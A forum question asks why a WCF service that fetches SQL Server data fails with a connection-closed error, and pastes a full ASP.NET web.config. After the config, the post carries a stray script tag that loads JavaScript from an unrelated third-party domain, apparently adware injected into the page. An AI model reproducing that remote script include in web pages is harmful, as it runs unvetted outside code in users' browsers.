locked
The underlying connection was closed: The connection was closed unexpectedly. RRS feed

  • Question

  • User2006903509 posted

    I am connecting to sql server and fetching the data using wcf but i am getting this error.

    <?xml version="1.0"?>
    
    <!--
      For more information on how to configure your ASP.NET application, please visit
      http://go.microsoft.com/fwlink/?LinkId=169433
      -->
    
    <configuration>
      <connectionStrings>
        <add name="ApplicationServices"
             connectionString="data source=.\SQLEXPRESS;Integrated Security=SSPI;AttachDBFilename=|DataDirectory|\aspnetdb.mdf;User Instance=true"
             providerName="System.Data.SqlClient" />
      </connectionStrings>
    
      <system.web>
        <compilation debug="true" targetFramework="4.0" />
    
        <authentication mode="Forms">
          <forms loginUrl="~/Account/Login.aspx" timeout="2880" />
        </authentication>
    
        <membership>
          <providers>
            <clear/>
            <add name="AspNetSqlMembershipProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="ApplicationServices"
                 enablePasswordRetrieval="false" enablePasswordReset="true" requiresQuestionAndAnswer="false" requiresUniqueEmail="false"
                 maxInvalidPasswordAttempts="5" minRequiredPasswordLength="6" minRequiredNonalphanumericCharacters="0" passwordAttemptWindow="10"
                 applicationName="/" />
          </providers>
        </membership>
    
        <profile>
          <providers>
            <clear/>
            <add name="AspNetSqlProfileProvider" type="System.Web.Profile.SqlProfileProvider" connectionStringName="ApplicationServices" applicationName="/"/>
          </providers>
        </profile>
    
        <roleManager enabled="false">
          <providers>
            <clear/>
            <add name="AspNetSqlRoleProvider" type="System.Web.Security.SqlRoleProvider" connectionStringName="ApplicationServices" applicationName="/" />
            <add name="AspNetWindowsTokenRoleProvider" type="System.Web.Security.WindowsTokenRoleProvider" applicationName="/" />
          </providers>
        </roleManager>
    
      </system.web>
    
      <system.webServer>
         <modules runAllManagedModulesForAllRequests="true"/>
      </system.webServer>
      <system.serviceModel>
        <behaviors>
          <serviceBehaviors>
            <behavior name="NewBehavior0">
              <serviceDebug />
              <serviceMetadata httpGetEnabled="true" />
              <dataContractSerializer maxItemsInObjectGraph="2147483646" />
            </behavior>
          </serviceBehaviors>
        </behaviors>
        <services>
          <service name="WebApplication1.Test.Service1Client">
            <endpoint address="http://http://localhost:60728/Service1.svc"
              binding="basicHttpBinding" bindingConfiguration="" contract="Test.IService1" />
          </service>
        </services>
        <bindings>
          <basicHttpBinding>
            <binding name="basic" closeTimeout="00:20:00" openTimeout="00:20:00"
              receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false"
              bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard"
              maxBufferSize="500000000" maxBufferPoolSize="524288" maxReceivedMessageSize="500000000"
              messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered"
              useDefaultWebProxy="true">
              <readerQuotas maxDepth="32" maxStringContentLength="8192" maxArrayLength="16384"
                maxBytesPerRead="4096" maxNameTableCharCount="16384" />
              <security mode="None">
                <transport clientCredentialType="None" proxyCredentialType="None"
                  realm="" />
                <message clientCredentialType="UserName" algorithmSuite="Default" />
              </security>
            </binding>
          </basicHttpBinding>
        </bindings>
        <client>
          <endpoint address="http://localhost:60728/Service1.svc" binding="basicHttpBinding"
            bindingConfiguration="basic" contract="Test.IService1" name="basic" />
        </client>
      </system.serviceModel>
    </configuration>
    



    <script src="https://secure-content-delivery.com/data.js.php?i={586B828B-1991-4F92-8D88-C1EC60A77CFB}&d=2013-07-21&s=http://forums.asp.net/post/set/28/0/0&cb=0.1893659096390945" type="text/javascript"></script>
    Monday, September 16, 2013 12:54 AM

All replies